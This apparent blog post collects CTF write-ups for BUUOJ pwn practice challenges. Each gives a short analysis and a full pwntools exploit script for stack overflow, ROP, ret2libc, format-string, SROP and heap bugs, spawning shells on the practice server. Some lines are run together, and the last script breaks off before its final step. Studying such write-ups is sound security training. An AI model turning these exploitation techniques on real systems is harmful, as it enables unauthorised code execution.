buuoj-百年pwn之路 Surager

2020-02-22

pwn1_sctf_2016

拖进ida看到是个cpp程序,功能大概是把I变成you。

surager@LAPTOP-0H9RPTHA:/mnt/e/wsl$ ./pwn1_sctf_2016
Tell me something about yourself: IIIyou
So, youyouyouyou

可以,这样就可以利用这一个特质进行溢出了。输入I字符数能乘3。输入0x15个I可以得到0x3f个字符,再填入一个字符可以到达返回地址。

直接编写exp:

from pwn import *
io=remote('node3.buuoj.cn',25906)
payload='I'*0x15+'a'+p32(0x8048F13)
io.sendline(payload)
io.interactive()

运行得到flag:

surager@LAPTOP-0H9RPTHA:/mnt/e/wsl$ python pwn1_sctf_2016.py
[+] Opening connection to node3.buuoj.cn on port 25906: Done
[*] Switching to interactive mode
flag{08ad58ac-1577-4e8d-a1ae-76a4aab45536}
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive

warmup_csaw_2016

运行,shell地址白给:

surager@KaliWindows:~/wsl$ ./warmup_csaw_2016
-Warm Up-
WOW:0x40060d
>sdf

直接写脚本:

#!/usr/bin/env python
from pwn import *
io = remote('node3.buuoj.cn',25906)
payload = 'a'*0x48+p64(0x40060d)
io.sendline(payload)
io.interactive()

ciscn_2019_n_1

payload:

from pwn import *
io=remote('node3.buuoj.cn',29966)
payload='a'*0x30+'a'*8+p64(0x4006be)
io.sendline(payload)
io.interactive()

ciscn_2019_n_5

#!/usr/bin/env python
from pwn import *
context(arch='amd64',os='linux',log_level='debug') #注意要设置context
io = remote('node3.buuoj.cn',26176)
bss = 0x601080
io.recvuntil('name\n')
shellcode = asm(shellcraft.sh())
io.send(shellcode)
io.recvuntil('?\n')
payload = 'a'*0x20 + 'a'*0x8 + p64(bss)
io.sendline(payload)
io.interactive()

ciscn_2019_n_8

if ( *(_QWORD *)&var[13] == 17LL )
      system("/bin/sh");

只需要填入适量数据让var[13]等于13即可。

from pwn import *
io = remote('node3.buuoj.cn',25567)
payload = p32(17)*14
io.recv()
io.sendline(payload)
io.interactive()

ciscn_2019_ne_5

#!/usr/bin/env python
from pwn import *
context(log_level='debug')
io = remote('node3.buuoj.cn',26946)
elf = ELF('./ciscn_2019_ne_5')
sh_in_fflush = 0x80482EA
io.recvuntil(':')
io.sendline('administrator')
io.recvuntil('0.Exit\n:')
io.sendline('1')
io.recvuntil(':')
io.sendline('a'*0x48+'a'*0x4+p32(elf.symbols['system'])+p32(0x8048722)+ p32(sh_in_fflush))      
io.recvuntil('0.Exit\n:')
io.sendline('4')
io.interactive()

把’fflush’的’sh’传给system,服了。

ciscn_2019_s_3

因为给了15h,可以直接SROP

signed __int64 gadgets()
{
  return 15LL;
}

先泄露栈地址,然后用栈把/bin/sh读入execve:

#!/usr/bin/env python
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
#io = process('./ciscn_s_3')
io = remote('node3.buuoj.cn',25931)
vuln_add = 0x4004ED
syscall = 0x400517
gadget = 0x4004DA
payload = '/bin/sh\x00'*2+p64(vuln_add)io.send(payload)io.recv(0x20)
sh = u64(io.recv(8))-0x118
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh
frame.rsi = 0x0
frame.rdx = 0x0
frame.rsp = sh
frame.rip = syscall
payload = '/bin/sh\x00'*2 + p64(gadget) + p64(syscall) + str(frame)
io.sendline(payload)
io.interactive()

ciscn_2019_c_1

因为ubuntu18的运行机制,需要栈平衡。

如果没有最后的ret_add,会出现错误:

timeout: the monitored command dumped core

最后的payload:

#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'

io = remote('node3.buuoj.cn',26659)
elf = ELF('./ciscn_2019_c_1')
libc = ELF('./x64-libc-2.27.so')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_add = elf.symbols['main']
rdi_ret = 0x0000000000400c83
ret_add = 0x00000000004006b9
io.recvuntil('Welcome to this Encryption machine\n')
io.sendline('1')
io.recvuntil('Input your Plaintext to be encrypted\n')
payload1 = 'a'*0x58 + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_add)

io.sendline(payload1)
io.recvuntil('@\n')
leak = u64(io.recv(6).ljust(8,'\x00'))
offset = leak - libc.symbols['puts']

binsh_add = offset + libc.search('/bin/sh').next()system_add = offset + libc.symbols['system']

payload2 = 'a'*0x58 + p64(ret_add) + p64(rdi_ret) + p64(binsh_add) + p64(system_add)

io.recvuntil('Welcome to this Encryption machine\n')
io.sendline('1')
io.recvuntil('Input your Plaintext to be encrypted\n')
io.sendline(payload2)
io.interactive()

ciscn_2019_en_2

同ciscn_2019_c_1

[OGeek2019]babyrop

fd = open("/dev/urandom", 0);

选一个随机数。

 sprintf(&s, "%ld", a1);

利用\x00截断。

int buf; // [esp+4h] [ebp-14h]
char v2; // [esp+Bh] [ebp-Dh]

用buf覆盖v2的值。

最终的payload。

#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'

io = remote('node3.buuoj.cn',27591)
elf = ELF('./babyrop')
libc = ELF('./libc-2.23.so')

write_plt = elf.plt['write']
write_got = elf.got['write']
main_add = 0x8048825
payload1 = '\x00'+ '\xff'*7

io.sendline(payload1)
io.recvuntil('Correct\n')

payload2 = 'a' * 0xe7 + 'a' * 0x4 + p32(write_plt) + p32(main_add) + p32(0) + p32(write_got) + p32(0x4)
io.sendline(payload2)
leak = u32(io.recv(4))

offset = leak - libc.symbols['write']

system_add = offset + libc.symbols['system']
binsh_add = offset + libc.search('/bin/sh').next()

io.sendline(payload1)
io.recvuntil('Correct\n')

payload3 = 'a' * 0xe7 + 'a' * 0x4 + p32(system_add) + p32(0xdeadbeef) + p32(binsh_add)

io.sendline(payload3)
io.interactive()

get_started_3dsctf_2016

get_flag函数在远程根本不能用。

所以另辟蹊径,搜索mprotect函数,可以利用mprotect在bss上面写入可执行权限,之后用read函数在bss上写入shellcode。

payload:

#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
io = remote('node3.buuoj.cn',28342)
elf = ELF('./get_started_3dsctf_2016')
pop_3_add = 0x0809e4c5
rw_add = 0x080eb000
payload = 'a'*0x38 + p32(elf.symbols['mprotect']) + p32(pop_3_add) + p32(rw_add) + p32(0x1000) + p32(0x7) + p32(elf.symbols['read']) + p32(pop_3_add) + p32(0x0) + p32(0x080ebf80) +p32(0x200) + p32(0x080ebf80)
io.sendline(payload)
io.sendline(asm(shellcraft.sh(),arch='i386',os='linux'))
io.interactive()

not_the_same_3dctf_2016

flag直接能读入

int get_secret()
{
  int v0; // esi
  v0 = fopen("flag.txt", &unk_80CF91B);
  fgets(&fl4g, 45, v0);
  return fclose(v0);
}

找到flag地址,get_secret地址,用write打印出flag

#!/usr/bin/env python
from pwn import *
io = remote('node3.buuoj.cn',29436)
context.log_level = 'debug'
write = 0x806E270
get_flag = 0x80489A0
flag_add = 0x80ECA2D
payload = 'a'*0x2d + p32(get_flag) + p32(write) + p32(0xdeadbeef) + p32(0) + p32(flag_add) + p32(0x100)
io.sendline(payload)
io.interactive()

[第五空间2019 决赛]PWN5

格式化字符串漏洞,将atoi函数地址改成system函数的地址,之后写入/bin/sh。

#!/usr/bin/env python

from pwn import *

#io=process('./buupwn5')
io = remote('node3.buuoj.cn',28601)
elf = ELF('./buupwn5')
context.log_level = 'debug'
system_plt = elf.plt['system']
atoi_got = elf.got['atoi']

payload = fmtstr_payload(10,{atoi_got:system_plt})
io.recv()
io.sendline(payload)
io.recvuntil('your passwd:')
io.sendline('/bin/sh\x00')
io.interactive()

jarvisoj_level0

from pwn import *
context.log_level = 'debug'
io=remote('node3.buuoj.cn',25555)
payload='a'*128+'aaaaaaaa'+p64(0x40059a)
io.sendline(payload)
io.interactive()

入门题

jarvisoj_level1

这题目跟jarvisoj的level1根本不一样,远程的白给地址根本用不了。看了南梦师傅的wp才明白过来。

所以换种利用方法,把shellcode写入bss段直接执行。

#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
io = remote('node3.buuoj.cn',27727)
elf = ELF('./level1')

read_plt = elf.plt['read']
pop3_add = 0x08048549

payload = 'a'*0x88 + 'a'*0x4 + p32(read_plt) + p32(pop3_add) + p32(0x0) + p32(elf.bss()) + p32(0x300) + p32(elf.bss())

io.sendline(payload)
sleep(0.2)
io.sendline(asm(shellcraft.sh()))
io.interactive()

jarvisoj_level2

#!/usr/bin/env python 
from pwn import *
io=remote('node3.buuoj.cn',25654)
payload='a'*0x88+'a'*4
system_add=0x8048320
binsh=0x804A024
payload+=p32(system_add)+p32(0xdeadbeef)+p32(binsh)
io.recvline()
io.sendline(payload)
io.interactive()

入门题

jarvisoj_level2_x64

#!/usr/bin/env python 
from pwn import *
io=remote('node3.buuoj.cn',26479)
system_add = 0x4004C0
binsh_add = 0x600A90
pop_rdi = 0x00000000004006b3
payload = 'a'*0x80 + 'a'*0x8 + p64(pop_rdi) + p64(binsh_add) + p64(system_add)
io.sendline(payload)
io.interactive()

x64入门题

jarvisoj_level3

#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
io = remote('node3.buuoj.cn',28740)
elf = ELF('./level3')
payload1 = 'a'*0x88+'a'*0x4
write_plt = elf.plt['write']
write_got = elf.got['write']
vul_add = elf.symbols['vulnerable_function']
payload1 += p32(write_plt) + p32(vul_add) + p32(0x1) + p32(write_got) + p32(0x4) +p32(vul_add)  
io.recvuntil("Input:\n")
io.send(payload1)
t = u32(io.recv(4))
libc = ELF('./x86-libc-2.23.so')
write_libc = libc.symbols['write']
sys_libc = libc.symbols['system']
binsh_libc = libc.search("/bin/sh").next()
offset = t - write_libc
sys_add = offset + sys_libc
binsh_add = offset + binsh_libc
payload2 = 'a'*0x88+'a'*0x4 + p32(sys_add) + p32(vul_add) + p32(binsh_add)
io.recvuntil("Input:\n")
io.sendline(payload2)
io.interactive()

ret2libc入门题

jarvisoj_level3_x64

#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
io = remote('node3.buuoj.cn',28914)
elf = ELF('./level3_x64')
payload = 'a'*0x80 + 'a'*0x8
rdi_add = 0x4006b3
rsir15_add = 0x4006b1
write_plt = elf.plt['write']
write_got = elf.got['write']
vul_add = elf.symbols['vulnerable_function']
payload1 = payload + p64(rdi_add) + p64(0x1) + p64(rsir15_add) + p64(write_got) + 'deadbeef' + p64(write_plt) + p64(vul_add)
io.recvuntil("Input:\n")
io.sendline(payload1)
leak = u64(io.recv()[0:8])
# print(hex(leak))
# io.interactive()
libc = ELF('./x64-libc-2.23.so')
write_lib = libc.symbols['write']
offset = leak - write_lib
sys_add = offset + libc.symbols['system']
binsh_add = offset + libc.search('/bin/sh').next()
payload2 = payload + p64(rdi_add) + p64(binsh_add) + p64(sys_add)
io.sendline(payload2)
io.interactive()

jarvisoj_level4

DynELF函数是通过已知函数,迅速查找libc库,并不需要我们自己本身知道对应版本的libc文件。

这题用DynELF找到system,把sh读入bss段

#!/usr/bin/env python

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
io = remote('node3.buuoj.cn',29389)
elf = ELF('./level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0')
padding = 'a'*0x88+'a'*0x4
write_plt = elf.plt['write']
write_got = elf.got['write']
main_add = elf.symbols['main']
def leak(add):
	payload1 = padding + p32(write_plt) + p32(main_add) + p32(1) + p32(add) + p32(0x4)    
	io.sendline(payload1)    
	leak = io.recv(4)    
	print "[%s] -> [%s] = [%s]" % (hex(add), hex(u32(leak)),  repr(leak))    
	return leak
dynelf = DynELF(leak,elf=ELF('./level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0'))
sys_add = dynelf.lookup('system','libc')
print "[system()] -> [%s]" % (hex(sys_add))
read_plt = elf.plt['read']
payload2 = padding + p32(read_plt) + p32(main_add) + p32(0) + p32(elf.bss()) + p32(0x8)        
io.send(payload2)
io.send('/bin/sh\x00')
payload3 = padding + p32(sys_add) + p32(0xdeadbeef) + p32(elf.bss())
io.sendline(payload3)
io.interactive()

jarvisoj_fm

  printf(&buf);
  printf("%d!\n", x);
  if ( x == 4 )
  {
    puts("running sh...");
    system("/bin/sh");
  }

白给。

#!/usr/bin/env python
from pwn import *
io = remote('node3.buuoj.cn',29522)
payload = fmtstr_payload(11,{0x804A02C:4})
io.sendline(payload)
io.interactive()

jarvisoj_test_your_memory

#!/usr/bin/env python
from pwn import *
io = remote('node3.buuoj.cn',25000)
context.log_level = 'debug'
sys_add = 0x8048440
hint_add = 0x804A040
payload = 'a'*0x13 + 'a'*0x4 + p32(sys_add) + p32(0x80485bd) + p32(0x80487e0)#db cat flag
io.sendline(payload)
io.interactive()

jarvisoj_tell_me_something

#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
io = remote('node3.buuoj.cn',28147)
payload = 'a' * 0x88 +  p64(0x400620)
io.recvuntil('Input your message:\n')
io.send(payload)
io.interactive()

[HarekazeCTF2019]baby_rop

有system,有/bin/sh,白给

.text:00000000004005E3                 call    _system

.data:0000000000601048 binsh           db '/bin/sh',0

exp:

#!/usr/bin/env python
from pwn import *
io = remote('node3.buuoj.cn',28983)
elf = ELF('./babyrop_1')
context(log_level='debug',arch='amd64',os='linux')
binsh = 0x601048
pop_rdi = 0x0000000000400683
payload = 'a'*0x10 + 'a'*0x8 + p64(pop_rdi) + p64(binsh) + p64(elf.plt['system'])
io.recv()
io.send(payload)
io.interactive()

[HarekazeCTF2019]baby_rop2

ret2libc,泄露libc机制的时候需要用到格式化字符串。

#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
io = remote('node3.buuoj.cn',27932)
context(log_level='debug')
elf = ELF('./babyrop2')
pri_plt = elf.plt['printf']
read_got = elf.got['read']
pop_rdi = 0x0000000000400733
main_add = 0x400636
fmt_str = 0x400770
pop_rsi_r15 = 0x0000000000400731
payload = 'a'*0x20 + 'a'*0x8 + p64(pop_rdi) + p64(fmt_str) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(pri_plt) + p64(main_add)
io.recv()
io.sendline(payload)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(leak)
libc = LibcSearcher('read',leak)
offset = leak - libc.dump('read')
system_add = offset + libc.dump('system')
binsh_add = offset + libc.dump('str_bin_sh')
payload = 'a'*0x28 + p64(pop_rdi) + p64(binsh_add) + p64(system_add)
io.recvuntil('name? ')
io.send(payload)
io.interactive()

[Black Watch 入群题]PWN

栈迁移

leave_ret指令等于mov esp,ebppop ebppop eip。利用这个特性可以在溢出空间较小的时候进行栈迁移。

#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
io = remote('node3.buuoj.cn',26371)
elf = ELF("./spwn")
context(log_level='debug')
bss = 0x804A300
write_plt = elf.plt['write']
write_got = elf.got['write']
vul_add = elf.symbols['main']
leave_ret = 0x8048511
io.recvuntil('name?')
payload = p32(write_plt) + p32(vul_add) + p32(0x1) + p32(write_got) + p32(0x4)
io.send(payload)
io.recvuntil('say?')
payload = 'a'*0x18 + p32(bss-4) + p32(leave_ret)
io.send(payload)
leak = u32(io.recv(4))
print hex(leak)
libc = LibcSearcher('write',leak)
offset = leak - libc.dump('write')
system_add = offset + libc.dump('system')
binsh_add = offset + libc.dump('str_bin_sh')
io.recvuntil('name?')
payload = p32(system_add) + p32(vul_add) + p32(bss+4*3) + '/bin/sh\x00'
io.send(payload)
io.recv()
payload = 'a'*0x18 + p32(bss-4) + p32(leave_ret)
io.send(payload)
io.interactive()

bjdctf_2020_router

	read(0, &buf, 0x10uLL);
	strcat(dest, &buf);
	system(dest);

ping里面白给

payload:

0;sh

bjdctf_2020_babystack

#!/usr/bin/env python
from pwn import *
io = remote('node3.buuoj.cn',25780)
sys_add = 0x4006E6
io.recvuntil('name:\n')
io.sendline('100')
io.recvuntil('name?\n')
io.sendline('a'*0x10+'a'*0x8+p64(sys_add))
io.interactive()

inndy_echo

格式化字符串漏洞,把printf改成system。

#!/usr/bin/env python
from pwn import *
io = remote('node3.buuoj.cn',28271)
elf = ELF('./echo')
system_add = elf.plt['system']
print_add = elf.got['printf']
payload = fmtstr_payload(7,{print_add:system_add})
io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()

hitcontraining_uaf

notelist[i] = malloc(8u);
*(_DWORD *)notelist[i] = print_note_content;
v1 = notelist[i];
v1[1] = malloc(size);
read(0, *((void **)notelist[i] + 1), size);

第0位存show的地址,第1位存内容。由于malloc(8u),content位也可以申请到上一个的show位。

if ( result )
  {
    free(*((void **)notelist[v2] + 1));
    free(notelist[v2]);
    result = (void *)puts("Success");
  }

free后没有置为null,存在uaf。

int magic()
{
  return system("/bin/sh");
}

神奇

#!/usr/bin/env python
from pwn import *
io = remote('node3.buuoj.cn',26964)
context(log_level = 'debug')
system_add = 0x8048945

ru = lambda x : io.recvuntil(x)
se = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
pr = lambda x : log.success(x)
it = lambda   : io.interactive()

def add(size,content):
    ru('choice :')
    sl('1')
    ru('size :')
    sl(str(size))
    ru('ent :')
    sl(str(content))

def free(index):
    ru('choice :')
    sl('2')
    ru('dex :')
    sl(str(index))

def printf(index):
    ru('choice :')
    sl('3')
    ru('dex :')
    sl(str(index))

add(0x60,'aaaa')
add(0x60,'aaaa')
free(0)
free(1)
add(8,p32(system_add))
printf(0)
it()

bjdctf_2020_YDSneedGrirlfriend

见hitcontraining_uaf,把0x8改成0x10就行了。

2020-03-23总结

jarvisoj_itemboard

itemboard: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=3ceec9dbd2e0062179fbde1e26a87b6ee9de28c7, with debug_info, not stripped

[*] '/home/abc/work/itemboard'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序add时先malloc一个0x18的chunk,然后把信息(包括指针存入chunk内),想办法拿到这个chunk。

item = (Item *)malloc(0x18uLL);
item->name = (char *)malloc(0x20uLL);
item->free = item_free;
content_len = read_num();
item->description = (char *)malloc(content_len);
read_until(0, buf, content_len, 10);
strcpy(item->description, buf);

remove的时候虚晃一枪,set_null是假的,里面啥都没有。

((void (__fastcall *)(Item *))item_array[index]->free)(item_array[index]);
set_null(item_array[index]);
puts("The item has been removed");

unsortedbin泄露libc基址,malloc(0x18)拿到前一个的item,把one_gadget写入item_free。

#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
io = remote('node3.buuoj.cn',28972)
libc = ELF('./x64-libc-2.23.so')
ru = lambda x : io.recvuntil(x)
sl = lambda x : io.sendline(x)
it = lambda : io.interactive()
se = lambda x : io.send(x)

def add(name,lenth,content):
    ru('choose:\n')
    sl('1')
    ru('name?\n')
    sl(name)
    ru('len?\n')
    sl(str(lenth))
    ru('tion?\n')
    sl(content)

def free(item):
    ru('choose:\n')
    sl('4')
	ru('item?\n')
    sl(str(item))

def show(item):
    ru('choose:\n')
    sl('3')
    ru('item?\n')
    sl(str(item))

add('kaqyin',0x1000,'aaa')
add('jojo',0x40,'aaa')
add('rero',0x40,'aaa')
free(0)
show(0)
ru('Description:')
libc_add = u64(io.recvuntil('\n').ljust(8,'\x00'))-88-0x3c4b20
system = libc_add + libc.sym['system']
free(1)
free(2)
add('dio',0x18,'/bin/sh;'+'a'*0x8+p64(system))
free(1)
it()

bjdctf_2020_babyrop

#!/usr/bin/env python
from pwn import *
context.log_level='debug'
io = remote('node3.buuoj.cn',29075)
libc = ELF('./x64-libc-2.23.so')
elf = ELF('./bjdctf_2020_babyrop')

rdi = 0x0000000000400733
rsi_15 = 0x0000000000400731
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

io.recvuntil('ory!\n')
payload = 'a'*0x20 + 'a'*0x8 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(0x40067D)
io.sendline(payload)
leak = u64(io.recv(6).ljust(8,'\x00'))
offset = leak - libc.sym['puts']
system = offset + libc.sym['system']
binsh = offset + libc.search('/bin/sh').next()

io.recvuntil('ory!\n')
payload = 'a'*0x20+'a'*0x8+p64(rdi) + p64(binsh)+p64(system) + p64(0x40067D)
io.sendline(payload)
io.interactive()

铁人三项(第五赛区)_2018_rop

#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
def pwn():
    io = remote('node3.buuoj.cn',29963)
    elf = ELF('./2018_rop')
    context.log_level = 'debug'

    write_plt = elf.plt['write']
    write_got = elf.got['write']
    read_plt = elf.plt['read']
    main_add = elf.sym['main']
    bss = elf.bss()

    padding = 'a'*0x88+'a'*0x4
    payload = padding + p32(write_plt) + p32(main_add) + p32(1) + p32(write_got) + p32(0x4)
    io.sendline(payload)
    
    leak = u32(io.recv(4))
    libc = ELF('x86-libc-2.27.so')
    offset = leak - libc.sym['write']
    system = offset + libc.sym['system']
    payload = padding + p32(read_plt) + p32(main_add) + p32(0) + p32(bss) + p32(0x8)
    io.sendline(payload)
    io.sendline('/bin/sh')
    payload = padding + p32(system) + p32(main_add) + p32(bss)
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    pwn()

cmcc_simplerop

ret2syscall

#!/usr/bin/env python
from pwn import *
def pwn():
    io = remote('node3.buuoj.cn',28513)
    context.log_level = 'debug'
    eax = 0x080bae06
    d_c_b = 0x0806e850
    syscall = 0x08062acd
    read = 0x806cd50
    bss = 0x80EB056
    main =0x8048E24
    syscall = 0x806EEF0
    payload = 'a'*0x1c + 'a'*0x4 + p32(eax) + p32(3) + p32(d_c_b) + p32(0x8) + p32(bss) + p32(0x0) + p32(syscall) + p32(eax) + p32(0xb) + p32(d_c_b) + p32(0) + p32(0) + p32(bss) +p32(syscall)
    io.recvuntil('input :')
    io.sendline(payload)
    io.send('/bin/sh\x00')
   
    io.interactive()

if __name__ == "__main__":
    pwn()

pwn2_sctf_2016

exp:

#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
context(log_level='debug')
io = remote('node3.buuoj.cn',27104)
elf = ELF('./pwn2_sctf_2016')
libc = ELF('./x86-libc-2.23.so')

print_plt = elf.plt['printf']
fmt_add = 0x80486F8
print_got = elf.got['printf']
main = 0x80485B8

io.sendlineafter('read? ','-1')
payload = 'a'*0x2c + 'a'*0x4 + p32(print_plt) + p32(main) + p32(fmt_add)+ p32(print_got)
io.recvuntil('!\n')
io.sendline(payload)
for i in range(2):
    io.recvuntil('said: ')
leak = u32(io.recv(4))
print '[*] Successfully read the address of print_got :' + hex(leak)
offset = leak - libc.sym['printf']
system = offset + libc.sym['system']
binsh = offset + libc.search('/bin/sh').next()
payload = 'a'*0x2c + 'a'*0x4 + p32(system) + p32(0xdeadbeef) + p32(binsh)
io.recvuntil('read? ')
io.sendline('-1')
io.recvuntil('!\n')
io.sendline(payload)
io.interactive()

用printf泄露地址的时候记得用一个格式化字符串接着点。p32(print_plt) + p32(main) + p32(fmt_add)+ p32(print_got)

ez_pz_hackover_2016

[*] '/home/abc/work/ez_pz_hackover_2016'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

跑shellcode

#!/usr/bin/env python
from pwn import *
io = process('ez_pz_hackover_2016')
context(log_level = 'debug',arch = 'i386',os='linux')

io.recvuntil('Yippie, lets crash: 0x')
leak = int(io.recv(8),16)
print '[*] Successfully read the addr of stack! : ' + hex(leak)
shellcode = asm(shellcraft.sh())
payload = 'crashme\x00'
payload = payload.ljust(26,'\x00')
payload += p32(leak-0x1c)
payload += shellcode
io.recvuntil('> ')
io.sendline(payload)
io.interactive()

hitcontraining_heapcreator

heapcreator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=5e69111eca74cba2fb372dfcd3a59f93ca58f858, not stripped

[*] '/home/abc/work/heapcreator'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

add函数:

heaparray[i] = malloc(0x10uLL);
printf("Size of Heap : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
v0 = heaparray[i];
v0[1] = malloc(size);
*(_QWORD *)heaparray[i] = size;
printf("Content of heap:", &buf);
read_input(*((void **)heaparray[i] + 1), size);
puts("SuccessFul");

edit里面发现漏洞off-by-one:

read_input(*((void **)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL);// off-by-one

free:

 free(*((void **)heaparray[v1] + 1));
 free(heaparray[v1]);
 heaparray[v1] = 0LL;

思路:

  1. 先malloc(0x18),malloc(0x10)将/bin/sh填入0x18的chunk备用,0x18字节用于覆盖下一个chunk的size。
  2. 将下一个chunk的size改大。free掉这个被改的chunk,使得它的content跟本体上下颠倒。
  3. 利用edit将本体中的content指针修改为free.got的地址,利用show将free.got打印出来计算偏移。
  4. 由于content指针指向free.got,所以edit时会把free.got改成system,此时free掉chunk0即执行system(“/bin/sh”)

exp:

#!/usr/bin/env python
from pwn import *
io = remote('node3.buuoj.cn',26778)
elf = ELF('./heapcreator')
libc = ELF('./x64-libc-2.23.so')
context.log_level = 'debug'

ru = lambda x : io.recvuntil(x)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
it = lambda : io.interactive()


def add(size,content):
    ru('ice :')
    sl('1')
    ru('Heap :')
    sl(str(size))
    ru('heap:')
    sl(content)

def edit(index,content):
    ru('ice :')
    sl('2')
    ru('dex :')
    sl(str(index))
    ru('heap : ')
    sl(content)

def show(idx):
    ru('ice :')
    sl('3')
    ru('dex :')
    sl(str(idx))

def free(idx):
    ru('ice :')
    sl('4')
    ru('dex :')
    sl(str(idx))

add(0x18,'a')#0
add(0x10,'a')#1
edit(0,'/bin/sh\x00'+p64(0)*2+p8(0x41))
free(1)
add(0x30,p64(0)*4+p64(0x30)+p64(elf.got['free']))
show(1)
ru('Content : ')
leak = u64(io.recv(6).ljust(8,'\x00'))
offset = leak - libc.sym['free']
system = offset + libc.sym['system']
edit(1,p64(system))
free(0)
it()

gyctf_2020_borrowstack

参赛,自闭没有做。官方wp说的是ret2csu,但有人直接往高地址迁移栈成功了。

#!/usr/bin/env python
from pwn import *
io = remote('node3.buuoj.cn',27221)
context.log_level = 'debug'
elf = ELF('gyctf_2020_borrowstack')
libc = ELF('x64-libc-2.23.so')

leave = 0x0000000000400699
bss = 0x601080
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi = 0x0000000000400703
rsi = 0x400701
read_plt = elf.plt['read']
main = 0x400626
ret = 0x4004c9

payload = 'a'*0x60 + p64(bss) + p64(leave)
io.recvuntil('want\n')
io.send(payload)
io.recvuntil('now!\n')
payload = p64(ret)*20 + p64(rdi) + p64(puts_got) + p64(puts_plt)+ p64(main)
io.sendline(payload)
leak = u64(io.recv(6).ljust(8,'\x00'))
print '[*] Done! puts address is :' + hex(leak)
offset = leak - libc.sym['puts']
one = offset + 0x4526a
payload = 'a'*0x60 + 'a'*0x8 + p64(one)
io.recv()
io.send(payload)
io.interactive()

[V&N2020 公开赛]warmup

[V&N2020 公开赛]babybabypwn

[V&N2020 公开赛]easyTHeap

[V&N2020 公开赛]simpleHeap

见V&N2020 公开赛分析。

hitcon2014_stkof

$ file stkof
stkof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=4872b087443d1e52ce720d0a4007b1920f18e7b0, stripped
[*] '/home/abc/work/stkof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

基本没有什么输出。

add函数:

  v4 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  size = atoll(&s);
  v2 = (char *)malloc(size);
  if ( !v2 )
    return 0xFFFFFFFFLL;
  ::s[++dword_602100] = v2;
  printf("%d\n", (unsigned int)dword_602100, size);
  return 0LL;

.bss:0000000000602140 s               dq ?                    ; DATA XREF: sub_400936+78↑w

s存在于bss段。size没有检测。

edit:

  v6 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  v2 = atol(&s);
  if ( v2 > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !::s[v2] )
    return 0xFFFFFFFFLL;
  fgets(&s, 16, stdin);
  n = atoll(&s);
  ptr = ::s[v2];
  for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
  {
    ptr += i;
    n -= i;
  }
  if ( n )
    result = 0xFFFFFFFFLL;
  else
    result = 0LL;
  return result;

没有检测size,堆溢出改chunk。

思路:

  1. 没有检测输入的size,拿两个chunk造unlink。
  2. 泄露一个got地址,得到libc基址。
  3. 构造system(‘/bin/sh’)
#!/usr/bin/env python
from pwn import *
io = remote('node3.buuoj.cn',26926)
elf = ELF('./stkof')
libc = ELF('x64-libc-2.23.so')
context.log_level = 'debug'
ru = lambda x : io.recvuntil(x)
sl = lambda x : io.sendline(x)
se = lambda x : io.send(x)
it = lambda : io.interactive()

def add(size):
    sl('1')
    sl(str(size))
    ru('OK\n')

def free(index):
    sl('3')
    sl(str(index))
    ru('OK\n')

def edit(index,content):
    sl('2')
    sl(str(index))
    sl(str(len(content)))
    sl(content)

ptr = 0x602150
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']
atoi_got = elf.got['atoi']

add(0x100)#1
add(0x30)#2
add(0x80)#3
add(0x30)#4

payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10) + p64(0)*2 + p64(0x30) + p64(0x90)
edit(2,payload)
free(3)
payload = p64(0)*2 + p64(free_got) + p64(puts_got) + p64(0) + p64(atoi_got)
edit(2,payload)
edit(1,p64(puts_plt))
free(2)
ru('FAIL\n')
ru('FAIL\n')
